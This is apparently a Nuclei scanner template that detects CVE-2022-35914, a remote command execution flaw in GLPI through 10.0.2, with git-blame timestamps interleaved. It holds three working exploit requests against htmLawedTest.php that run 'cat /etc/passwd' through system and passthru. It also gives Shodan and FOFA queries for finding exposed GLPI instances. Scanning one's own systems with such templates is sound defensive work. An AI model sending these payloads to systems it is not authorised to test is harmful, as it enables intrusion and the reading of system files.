nuclei-templates/http/cves/2022/CVE-2022-35914.yaml

84 lines
2.8 KiB
YAML
Raw Normal View History

2022-10-03 12:12:47 +00:00
id: CVE-2022-35914
info:
name: GLPI <=10.0.2 - Remote Command Execution
author: For3stCo1d + sender (github.com/allendemoura)
2022-10-03 12:12:47 +00:00
severity: critical
description: |
GLPI through 10.0.2 is susceptible to remote command execution injection in /vendor/htmlawed/htmlawed/htmLawedTest.php in the htmlawed module.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary commands on the target system.
2023-09-06 11:59:08 +00:00
remediation: |
Upgrade GLPI to a version higher than 10.0.2 to mitigate this vulnerability.
2022-10-03 12:12:47 +00:00
reference:
- https://mayfly277.github.io/posts/GLPI-htmlawed-CVE-2022-35914
- https://github.com/cosad3s/CVE-2022-35914-poc
- http://www.bioinformatics.org/phplabware/sourceer/sourceer.php?&Sfs=htmLawedTest.php&Sl=.%2Finternal_utilities%2FhtmLawed
- https://nvd.nist.gov/vuln/detail/CVE-2022-35914
2023-07-11 19:49:27 +00:00
- https://github.com/glpi-project/glpi/releases
- https://senderend.medium.com/pg-practice-box-deep-dive-glpi-c3a1cf1520f8
- https://github.com/allendemoura/CVE-2022-35914
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-35914
cwe-id: CWE-74
epss-score: 0.97399
epss-percentile: 0.99914
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:glpi-project:glpi:*:*:*:*:*:*:*:*
2022-10-03 12:12:47 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: glpi-project
product: glpi
shodan-query:
- http.favicon.hash:"-1474875778"
- http.title:"glpi"
fofa-query:
- icon_hash="-1474875778"
- title="glpi"
2024-05-31 19:23:20 +00:00
google-query: intitle:"glpi"
2023-12-05 09:50:33 +00:00
tags: cve,cve2022,glpi,rce,kev,glpi-project
2022-10-03 12:12:47 +00:00
variables:
cmd: "cat+/etc/passwd"
execFunc1: "system"
execFunc2: "passthru"
2022-10-03 12:12:47 +00:00
http:
2022-10-03 12:12:47 +00:00
- raw:
- |
POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: sid=foo
sid=foo&hhook=exec&text={{cmd}}
- raw:
- |
POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: sid=foo
sid=foo&text={{execFunc1}}&hfoo={{cmd}}&hhook=array_map
- raw:
- |
POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: sid=foo
sid=foo&text={{execFunc2}}&hfoo={{cmd}}&hhook=array_map
2022-10-03 12:12:47 +00:00
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 490a00463044022031f4721d255682854c1f6e4bd4388e92d46d517fab31f98380587eb1a48affb80220778ad6d9444db683bd4d83ff14f1b4c8bdd98b8a158995518fb94c3fe5cc4a19:922c64590222798bb761d5b6d8e72950